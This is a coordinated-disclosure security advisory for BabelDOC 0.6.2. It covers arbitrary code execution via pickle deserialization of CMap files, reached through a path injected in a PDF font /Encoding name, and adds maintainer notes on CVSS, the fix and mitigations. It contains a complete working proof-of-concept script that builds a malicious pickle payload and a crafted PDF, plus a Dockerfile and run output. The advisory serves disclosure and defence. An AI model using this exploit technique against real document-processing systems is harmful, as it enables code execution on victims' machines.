BabelDOC: Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H상세 설명
Arbitrary Code Execution via CMap Pickle Deserialization in babeldoc/pdfminer/cmapdb.py
Summary
BabelDOC's vendored PDF parser (babeldoc/pdfminer/cmapdb.py) deserializes untrusted pickle data when loading CMap files. The _load_data() method strips only NUL bytes from a PDF-controlled CMap name, then passes it directly to os.path.join() and pickle.loads(). Because Python's os.path.join() discards all preceding path components when it encounters an absolute path segment, an attacker who embeds a hex-encoded absolute path in a crafted PDF's /Encoding name (e.g., /#2Ftmp#2Fattacker#2Fevil) can redirect deserialization to any attacker-writable .pickle.gz file on the local system. Processing such a PDF results in arbitrary Python code execution with the privileges of the BabelDOC process.
Details
The vulnerable function is CMapDB._load_data() at babeldoc/pdfminer/cmapdb.py:232–245:
1@classmethod 2def _load_data(cls, name: str) -> Any: 3 name = name.replace("\0", "") # line 233 — only NUL is stripped 4 filename = "%s.pickle.gz" % name # line 234 — attacker-controlled string 5 ... 6 for directory in cmap_paths: 7 path = os.path.join(directory, filename) # line 241 — no realpath/canonical check 8 if os.path.exists(path): 9 gzfile = gzip.open(path)10 try:11 return type(str(name), (), pickle.loads(gzfile.read())) # line 245 — unconditional picklePath injection via PDF name hex-encoding. The PDF specification allows name objects to encode arbitrary bytes as #xx. The pdfminer literal-name parser (psparser._parse_literal_hex) decodes these sequences before handing the string to higher layers. Consequently, the PDF literal /#2Ftmp#2Fattacker#2Fevil is decoded to the Python string /tmp/attacker/evil.
Python os.path.join() absolute-path override. When the decoded name starts with / (i.e., it is an absolute path), Python's os.path.join(directory, name + ".pickle.gz") ignores directory entirely and returns the absolute path unchanged. The trusted cmap_paths directories (/usr/share/pdfminer/, the package's own cmap/ folder) are therefore completely bypassed.
Data flow from PDF to sink:
babeldoc/main.py:611–622— CLI accepts a PDF path; only existence and.pdfsuffix are checked.babeldoc/main.py:678–679— path stored inTranslationConfig(input_file=file).babeldoc/format/pdf/high_level.py:472–488—translation_config.input_fileenters the translate pipeline.babeldoc/format/pdf/high_level.py:805–848— PDF saved totemp_pdf_pathand parsed withparse_prepared_pdf_with_new_parser_to_legacy_ir.babeldoc/format/pdf/new_parser/native_parse.py:60–70— prepared pages loaded and interpreted.babeldoc/format/pdf/new_parser/pymupdf_prepared_page_access.py:25–34— PyMuPDF opens the PDF and builds page resources.babeldoc/format/pdf/new_parser/prepared_resource_builder.py:84–94— font resources converted toPreparedFontSpec.babeldoc/format/pdf/new_parser/active_font_resource_runtime.py:21–35— page resource bundle resolves root font map.babeldoc/format/pdf/new_parser/active_font_runtime.py:79–87— each font spec projected and passed tofont_factory.create_font.babeldoc/format/pdf/new_parser/active_direct_font_backend.py:291–292, 491–493— CID fonts callbuild_cid_cmap(spec, literal_name=literal_name).babeldoc/format/pdf/new_parser/runtime/cid_cmap_runtime.py:52–77— PDF-controlled/Encoding/CMapNamenormalized and passed toCMapDB.get_cmap._normalize_cmap_name()removes only a single leading/; all other path characters pass through.babeldoc/pdfminer/cmapdb.py:233–245— sink: NUL-stripped name used verbatim to construct the path; file opened with gzip and deserialized withpickle.loads().
Sanitization gaps:
name.replace("\0", "")removes only the NUL byte;..,/,\, and hex-decoded path separators are unaffected.- There is no
os.path.realpath(),os.path.abspath(), oros.path.commonpath()containment check before the file is opened. - There is no allowlist of known CMap names nor any integrity verification of the pickle data.
Recommended patch (babeldoc/pdfminer/cmapdb.py):
1--- a/babeldoc/pdfminer/cmapdb.py 2+++ b/babeldoc/pdfminer/cmapdb.py 3@@ 4 cmap_paths = ( 5 os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"), 6 os.path.join(os.path.dirname(__file__), "cmap"), 7 ) 8 for directory in cmap_paths: 9- path = os.path.join(directory, filename)10+ base_dir = os.path.realpath(directory)11+ path = os.path.realpath(os.path.join(base_dir, filename))12+ try:13+ if os.path.commonpath([base_dir, path]) != base_dir:14+ continue15+ except ValueError:16+ continue17 if os.path.exists(path):18 gzfile = gzip.open(path)A more complete fix replaces the pickle-backed CMap loader with a signed or static data format (e.g., JSON or generated Python modules) that does not carry executable code.
PoC
Environment setup (Docker — recommended for isolation):
1# From the repository root 2docker build -t vuln-001-babeldoc-cmap -f vuln-001/Dockerfile . 3docker run --rm vuln-001-babeldoc-cmapManual setup (local venv):
1python3 -m venv /tmp/babeldoc-poc-venv 2source /tmp/babeldoc-poc-venv/bin/activate 3pip install freetype-py==2.5.1 charset-normalizer cryptography 4export PYTHONPATH=/path/to/BabelDOC 5python3 poc.pyPoC script (poc.py) — key steps:
1import gzip, pathlib, pickle, sys 2 3CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc") 4MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz" 5MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf" 6PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt") 7 8# Step 1 — write the malicious pickle to a world-writable location 9class MaliciousPayload:10 def __reduce__(self):11 return (pathlib.Path(str(PROOF_FILE)).write_text,12 ("RCE_CONFIRMED: pickle.loads executed attacker payload",))13 14CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)15with gzip.open(MALICIOUS_PICKLE, "wb") as fh:16 pickle.dump(MaliciousPayload(), fh)17 18# Step 2 — craft a PDF whose /Encoding name hex-encodes the absolute path19# "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to "/tmp/babeldoc-cmap-poc/malicious"20encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"21 22# ... (minimal PDF structure with a Type0 CID font referencing encoding_name) ...23# Full source in poc.py24 25# Step 3 — trigger via the pdfminer high-level API26from babeldoc.pdfminer.high_level import extract_text27try:28 extract_text(str(MALICIOUS_PDF))29except TypeError:30 pass # expected: type(name, (), <int>) fails after write_text returns int31 32# Step 4 — verify33assert PROOF_FILE.exists(), "FAIL: proof file not created"34print(PROOF_FILE.read_text()) # => "RCE_CONFIRMED: pickle.loads executed attacker payload"Phase 2 dynamic reproduction output (Docker container):
1[+] Malicious pickle written: /tmp/babeldoc-cmap-poc/malicious.pickle.gz 2[+] Malicious PDF written: /tmp/babeldoc-cmap-poc/malicious.pdf 3[*] Calling extract_text(/tmp/babeldoc-cmap-poc/malicious.pdf) ... 4[*] extract_text raised TypeError: type.__new__() argument 3 must be dict, not int 5[*] This exception is expected; the payload ran before it. 6 7============================================================ 8RESULT: PASS 9Proof file: /tmp/babeldoc_cmap_rce_proof.txt10Content: 'RCE_CONFIRMED: pickle.loads executed attacker payload'11============================================================The TypeError is benign and expected: write_text() returns an integer, and the subsequent type(name, (), <int>) call in _load_data() raises before reaching further code. The payload already executed successfully at that point.
Attack path summary:
1PDF /Encoding /#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious 2 -> pdfminer hex-decodes #2F -> '/' 3 -> literal_name = "/tmp/babeldoc-cmap-poc/malicious" 4 -> CMapDB._load_data("/tmp/babeldoc-cmap-poc/malicious") 5 -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # absolute path! 6 -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz") 7 == "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" # first arg discarded 8 -> gzip.open() + pickle.loads() -> arbitrary code executionImpact
This is an Arbitrary Code Execution vulnerability triggered by processing a crafted PDF file. Any user or automated pipeline that runs BabelDOC against untrusted PDF input is at risk.
Who is impacted:
- End users who open a malicious PDF with the
babeldocCLI or any application embedding BabelDOC's PDF translation/text-extraction functionality. - Automated document processing pipelines (CI translation services, document management systems, cloud PDF processors) that ingest user-supplied PDFs without sandboxing.
Attack prerequisites:
- The attacker must be able to place a
.pickle.gzfile at a predictable path on the local filesystem (e.g.,/tmp/), or exploit a shared world-writable directory. On Windows systems, UNC/WebDAV paths may provide a remote staging alternative. - The victim must process the crafted PDF through BabelDOC. No elevated privileges or special configuration is required — default PDF processing is the vulnerable code path.
Scope: The attack crosses security boundaries (e.g., a lower-privileged attacker influencing files processed by a different user's process), justifying the Changed scope in the CVSS vector and potential lateral movement between users on multi-user systems.
Consequences: Full code execution with the victim process's privileges — confidentiality breach, data modification, denial of service, and potential privilege escalation depending on the deployment context.
Reproduction artifacts
Dockerfile
1FROM python:3.11-slim 2 3# Install system-level dependencies for freetype 4RUN apt-get update && apt-get install -y --no-install-recommends \ 5 libfreetype6 \ 6 && rm -rf /var/lib/apt/lists/* 7 8# Install minimal Python dependencies required by babeldoc/pdfminer 9RUN pip install --no-cache-dir \10 freetype-py==2.5.1 \11 charset-normalizer \12 cryptography13 14# Copy the BabelDOC repository (only babeldoc package directory is needed)15COPY repo/babeldoc /app/babeldoc16 17# Copy the PoC script18COPY vuln-001/poc.py /app/poc.py19 20WORKDIR /app21 22# PYTHONPATH exposes babeldoc package without a full pip install23ENV PYTHONPATH=/app24 25CMD ["python3", "poc.py"]poc.py
1""" 2PoC: CMap Pickle Deserialization via Absolute Path Injection 3CVE Candidate: VULN-001 in funstory-ai/BabelDOC v0.6.2 4 5Vulnerability: babeldoc/pdfminer/cmapdb.py _load_data() only strips NUL bytes 6from the CMap name before building a filesystem path. A PDF name object 7using #xx hex-encoding can inject absolute path characters (/) so that 8os.path.join() discards the trusted cmap directory entirely, opening and 9unpickling an attacker-placed .pickle.gz file.10 11Attack flow:12 PDF /Encoding /#2Ftmp#2F...#2Fmalicious13 -> pdfminer hex-decodes #2F -> '/'14 -> literal_name() returns "/tmp/.../malicious"15 -> _load_data("/tmp/.../malicious")16 -> filename = "/tmp/.../malicious.pickle.gz" (absolute path!)17 -> os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")18 == "/tmp/.../malicious.pickle.gz" (Python discards first arg)19 -> gzip.open() + pickle.loads() => arbitrary code execution20"""21 22import gzip23import os24import pathlib25import pickle26import sys27 28# ---------------------------------------------------------------------------29# Configuration30# ---------------------------------------------------------------------------31CMAP_STAGING_DIR = pathlib.Path("/tmp/babeldoc-cmap-poc")32MALICIOUS_PICKLE = CMAP_STAGING_DIR / "malicious.pickle.gz"33MALICIOUS_PDF = CMAP_STAGING_DIR / "malicious.pdf"34PROOF_FILE = pathlib.Path("/tmp/babeldoc_cmap_rce_proof.txt")35 36 37# ---------------------------------------------------------------------------38# Step 1: Build the malicious pickle payload39# ---------------------------------------------------------------------------40class MaliciousPayload:41 """Pickle payload that writes a proof file on deserialization."""42 43 def __reduce__(self):44 # Write proof file when unpickled; any writable command works here.45 return (46 pathlib.Path(str(PROOF_FILE)).write_text,47 ("RCE_CONFIRMED: pickle.loads executed attacker payload",),48 )49 50 51def create_malicious_pickle():52 CMAP_STAGING_DIR.mkdir(parents=True, exist_ok=True)53 PROOF_FILE.unlink(missing_ok=True)54 55 with gzip.open(MALICIOUS_PICKLE, "wb") as fh:56 pickle.dump(MaliciousPayload(), fh)57 58 print(f"[+] Malicious pickle written: {MALICIOUS_PICKLE}")59 60 61# ---------------------------------------------------------------------------62# Step 2: Build the malicious PDF63# ---------------------------------------------------------------------------64def create_malicious_pdf():65 """66 Craft a minimal PDF with a Type0 CID font whose /Encoding name is a67 PDF literal that hex-encodes an absolute Unix path.68 69 PDF name syntax: /<characters> where #xx is hex escape for byte 0xxx.70 "/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious" decodes to the name value71 "/tmp/babeldoc-cmap-poc/malicious" (starts with '/').72 73 When passed through babeldoc/pdfminer:74 literal_name(PSLiteral) -> "/tmp/babeldoc-cmap-poc/malicious"75 _load_data() -> filename = "/tmp/babeldoc-cmap-poc/malicious.pickle.gz"76 os.path.join("/usr/share/pdfminer/", "/tmp/.../malicious.pickle.gz")77 => "/tmp/babeldoc-cmap-poc/malicious.pickle.gz" (absolute wins!)78 """79 # Hex-encoded encoding name: /tmp/babeldoc-cmap-poc/malicious80 # '#2F' = '/' in PDF name hex encoding81 encoding_name = b"/#2Ftmp#2Fbabeldoc-cmap-poc#2Fmalicious"82 83 content_stream = b"BT\n/F1 12 Tf\n100 700 Td\n(Malicious PDF) Tj\nET\n"84 85 # PDF objects (1-indexed)86 objs = [87 # 1: Catalog88 b"<< /Type /Catalog /Pages 2 0 R >>",89 # 2: Pages90 b"<< /Type /Pages /Kids [3 0 R] /Count 1 >>",91 # 3: Page - references content stream (4) and font (5)92 b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]"93 b" /Contents 4 0 R /Resources << /Font << /F1 5 0 R >> >> >>",94 # 4: Content stream95 b"<< /Length %d >>\nstream\n" % len(content_stream)96 + content_stream97 + b"\nendstream",98 # 5: Type0 font with malicious /Encoding name99 b"<< /Type /Font /Subtype /Type0 /BaseFont /MalFont"100 b" /Encoding " + encoding_name + b""101 b" /DescendantFonts [6 0 R] >>",102 # 6: CIDFontType2 descendant103 b"<< /Type /Font /Subtype /CIDFontType2 /BaseFont /MalFont"104 b" /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity)"105 b" /Supplement 0 >> /FontDescriptor 7 0 R >>",106 # 7: FontDescriptor (minimal)107 b"<< /Type /FontDescriptor /FontName /MalFont /Flags 4"108 b" /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0"109 b" /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 >>",110 ]111 112 buf = bytearray(b"%PDF-1.4\n")113 offsets = []114 for i, obj_data in enumerate(objs, 1):115 offsets.append(len(buf))116 buf += f"{i} 0 obj\n".encode() + obj_data + b"\nendobj\n"117 118 xref_offset = len(buf)119 buf += f"xref\n0 {len(objs) + 1}\n0000000000 65535 f \n".encode()120 for off in offsets:121 buf += f"{off:010d} 00000 n \n".encode()122 buf += (123 f"trailer\n<< /Size {len(objs) + 1} /Root 1 0 R >>\n"124 f"startxref\n{xref_offset}\n%%EOF\n"125 ).encode()126 127 MALICIOUS_PDF.write_bytes(bytes(buf))128 print(f"[+] Malicious PDF written: {MALICIOUS_PDF}")129 130 131# ---------------------------------------------------------------------------132# Step 3: Trigger the vulnerability via babeldoc pdfminer extract_text133# ---------------------------------------------------------------------------134def trigger_exploit():135 from babeldoc.pdfminer.high_level import extract_text136 137 print(f"[*] Calling extract_text({MALICIOUS_PDF}) ...")138 try:139 result = extract_text(str(MALICIOUS_PDF))140 print(f"[+] extract_text completed, returned {len(result)} chars")141 except Exception as exc:142 # A TypeError is expected: after pickle.loads() returns the result of143 # write_text() (an int), the code tries type(name, (), <int>) which144 # raises TypeError. The write has already happened at this point.145 print(f"[*] extract_text raised {type(exc).__name__}: {exc}")146 print("[*] This exception is expected; the payload ran before it.")147 148 149# ---------------------------------------------------------------------------150# Step 4: Verify RCE evidence151# ---------------------------------------------------------------------------152def verify_rce():153 if PROOF_FILE.exists():154 content = PROOF_FILE.read_text()155 print()156 print("=" * 60)157 print("RESULT: PASS")158 print(f"Proof file: {PROOF_FILE}")159 print(f"Content: {content!r}")160 print("=" * 60)161 return True162 else:163 print()164 print("=" * 60)165 print("RESULT: FAIL")166 print(f"Proof file {PROOF_FILE} was NOT created.")167 print("=" * 60)168 return False169 170 171# ---------------------------------------------------------------------------172# Main173# ---------------------------------------------------------------------------174def main():175 print("=== VULN-001 PoC: CMap Pickle Deserialization via Path Injection ===")176 print(f"Python: {sys.version}")177 print()178 179 create_malicious_pickle()180 create_malicious_pdf()181 trigger_exploit()182 success = verify_rce()183 184 sys.exit(0 if success else 1)185 186 187if __name__ == "__main__":188 main()Notes from the maintainer
CVSS revision note
The CVSS v3.1 vector has been revised from the reporter's initial
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (8.6) to
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H (7.8) on maintainer
review. The severity rating remains High.
One metric is revised; the remaining metrics (AV:L, AC:L, PR:N,
UI:R, C:H/I:H/A:H) are unchanged from the reporter's assessment.
- Scope: Changed → Unchanged. BabelDOC is a PDF-processing
library running with the caller process's operating-system
permissions; it does not enforce a separate security authority over
OS files, users, or downstream services. The malicious pickle
payload executes in that same BabelDOC Python process. Under CVSS
v3.1, this is Scope Unchanged: the vulnerable component and the
impacted component are governed by the same authority. No sandbox,
VM, browser-client, or application-defined authorization boundary
is crossed.
The remaining metrics are retained intentionally:
AV:L,PR:N,UI:R: the attack requires local presence of
attacker-influenced data (consistent withAV:L), does not require
authenticated access to BabelDOC itself (PR:N), and depends on a
user actually processing the crafted PDF (UI:R).AC:L: kept aligned with industry practice for CWE-502
deserialization issues; once the supporting filesystem condition
exists, the same-process exploitation path is consistent and
repeatable.C:H,I:H,A:H: full code-execution impact within the
BabelDOC process.
We thank EQSTLab for the detailed report and PoC; this revision is
limited to CVSS metric interpretation, and the issue remains High
severity when exploitable.
Full sink coverage (2 independently exploitable PDF paths + 2 defense-in-depth call sites)
The original report covers entry point (1): the Encoding / CMapName
font dictionary path, with absolute-path injection. Local review during
patch preparation identified that the same _load_data sink is reached
from one additional independently exploitable PDF-controlled path and
two prefixed call sites covered at the sink for defense in depth:
Encoding/CMapNamereferences in a font dictionary
(reported entry; absolute-path injection per the upstream report,
..relative traversal also exploitable)- The PostScript
usecmapoperator inside an embedded CMap stream
(independently exploitable via..relative traversal; not in the
original report) CIDSystemInfo.Orderingflowing throughget_unicode_mapin the
legacy pdfminer pipelineCIDSystemInfo.Orderingflowing throughget_unicode_mapin the
active new-parser pipeline
Call sites (3) and (4) were not reproduced as standalone PDF-only
exploit paths in v0.6.x. The get_unicode_map caller prepends a
to-unicode- prefix to the PDF-controlled name, which breaks
absolute-path injection and means .. traversal would require an
additional crafted directory layout such as a to-unicode-*
component under a CMap search location. The 0.6.3 sink-level fix
still covers these call sites, so future removal of the prefix or
a future unprefixed caller remains blocked.
Fix design
The runtime CMap loader in 0.6.3 refuses to deserialize any file that
does not simultaneously:
- appear in a pinned manifest of bundled CMap filenames (allowlist),
- resolve inside the bundled
runtime/data/cmapdirectory after path
resolution (containment check), and - byte-for-byte match the manifest's pinned byte size and SHA-256.
The integrity check runs on the compressed on-disk .gz bytes before
decompression, so files whose compressed size or SHA-256 differs from
the pinned manifest are rejected before gzip or pickle sees them.
The legacy CMAP_PATH external search path is removed entirely; only
the bundled directory is consulted. The active new-parser pipeline
and the vendored pdfminer pipeline share the same verified-load entry
point.
Related hardening shipped in 0.6.3
A separate hardening in the same release sanitizes PDF-controlled
XObject names before they reach the optional ImageWriter output
path, preventing PDF-driven writes outside the configured output
directory. This is separate from BabelDOC's default translation
pipeline: the optional ImageWriter is not used by default and is
only reachable when a third-party caller passes an explicit
output_dir. It is included here for completeness.
Risk reduction if you cannot upgrade immediately
These steps reduce known exploit preconditions on pre-0.6.3 versions;
they are not equivalent to the 0.6.3 fix.
- Do not set the
CMAP_PATHenvironment variable when running
BabelDOC. 0.6.3 removes this variable entirely; on pre-0.6.3
versions, unsetting it limits the attack surface to the bundled
cmap directory under the BabelDOC package. - Run BabelDOC under an account that cannot create files in any
directory BabelDOC will read CMap data from, including any
pre-0.6.3CMAP_PATHtarget. - Process only PDFs from trusted sources until upgrading.
Maintenance policy
BabelDOC publishes security fixes only in the latest release. We do
not publish maintainer-supported backports for older minor, patch, or
release lines. For this advisory, the maintainer-supported fixed
version is 0.6.3 or later; downstream distributors may carry their
own patches, but older BabelDOC releases will not receive a separate
upstream backport.
Acknowledgements
We thank EQSTLab for the detailed private report, complete
reproduction material, and coordinated-disclosure cooperation that
allowed this fix to be prepared and released before public
disclosure.
Timeline
- 2026-06-03 04:34 UTC: EQSTLab opens the private advisory draft and
notifies maintainers - 2026-06-03 09:21 UTC: BabelDOC 0.6.3 released with the fix
- 2026-06-03 09:50 UTC: this advisory published
- TBD: CVE identifier assigned (pending GitHub CNA review; GitHub
documentation says CVE requests are usually reviewed within 72
hours)
References
- BabelDOC 0.6.3 release notes:
https://github.com/funstory-ai/BabelDOC/blob/main/docs/release-notes/v0.6.3.md - CVE: TBD (pending CNA assignment)
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.